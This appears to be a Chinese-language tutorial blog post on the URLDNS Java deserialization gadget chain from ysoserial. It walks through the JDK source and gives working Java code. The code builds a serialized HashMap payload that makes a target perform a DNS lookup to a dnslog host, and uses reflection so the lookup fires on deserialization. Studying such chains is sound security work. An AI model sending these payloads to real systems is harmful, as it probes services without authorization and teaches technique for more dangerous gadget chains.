URLDNS

Chiexf Lv4

0x00 前言

URLDNS是java反序列化中一个比较简单的链,所以在学习CommonsCollections的利用链之前,可以先从URLDNS看起。

0x01 什么是URLDNS

URLDNS是ysoserial中的一个利用链名字,不过URLDNS并不能执行命令,只能发送DNS请求。

但是很适合我们在检测反序列化漏洞时使用:

  • 使用Java内置的构造类,对第三方库没有依赖
  • 在目标没有回显的时候,可以利用DNS请求得知是否存在反序列化漏洞

0x02 利用链

1
2
3
4
5
6
7
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

0x03 利用流程分析

问题存在于HashMap()的readObject方法,所以我们可以直接看这个给方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff

//省略了部分代码......

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

发现主要是在for循环中,利用putVal方法将key放入HashMap中,并进行hash值计算

跟进hash方法中

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

发现hash方法会调用对象的hashCode方法

此时我们传入的时URL对象,跟进URL对象中查看hashCode对象

1
2
3
4
5
6
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}

首先会判断hashCode是否等于-1,是的话直接返回hashCode;否则调用handler对象的hashcode方法,在返回hashCode

其实主要利用的是

1
hashCode = handler.hashCode(this);

所以继续跟进handler对象中的hashCode函数

1
2
3
4
5
6
7
8
9
10
11
12
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);

//省略了部分代码......

}

在hashCode中,会将URL传入getHostAddress函数中,继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

然后会发现,InetAddress.getByName(host) 是一个静态方法,它将接收一个主机名作为输入,并返回该主机名对应的 InetAddress 对象,即 IP 地址的表示。该方法会进行网络请求和 DNS 解析来获取对应的 IP 地址。

到这里就差不多结束了,简单编写个利用链

1
2
3
4
5
6
7
8
9
10
11
12
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashMap= new HashMap<>();
URL url = new URL("http://dnslog");
hashMap.put(url,1);

serialize(hashMap);

unserialize("ser.bin");

}
}

运行成功了,dnslog平台也有数据

但是会发现,这其实是在序列化之前就已经发送DNS请求了,之后的反序列化其实没有去做DNS请求的

发生这种情况是因为在利用hashMap.put()存数据的时候也调用putVal函数

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

所以在存数据的时候其实就发生了一次DNS请求

根据前文可以知道putVal中的hash会去调用key的hashCode方法

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

找到URL中的hashCode方法后,可以发现只要hashCode的值不等于-1后,就会直接返回hashCode,不做后面的操作

1
2
3
4
5
6
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}

所以可以利用反射,在hashMap.put()存进数据之前将hashCode的值成不等于-1来绕过

在hashMap.put()存完数据后再将hashCode的值改回-1即可

修改后的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashMap= new HashMap<>();
URL url = new URL("http://dnslog");

//利用反射来获取hashCode并修改值
Class forName = Class.forName("java.net.URL");
Field declaredField = forName.getDeclaredField("hashCode");
declaredField.setAccessible(true);
declaredField.set(url,123);

hashMap.put(url,1);

//将hashCode的值改回-1
declaredField.set(url,-1);

serialize(hashMap);

unserialize("ser.bin");

}
}

0x04 ysoserial的URLDNS

1
2
3
4
5
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);

0x05 参考链接

P牛知识星球-Java安全漫谈

B站-白日梦组长

https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=19d2e433219440bcf5304fbe8a00b7ff

Y4tacker

https://github.com/Y4tacker/JavaSec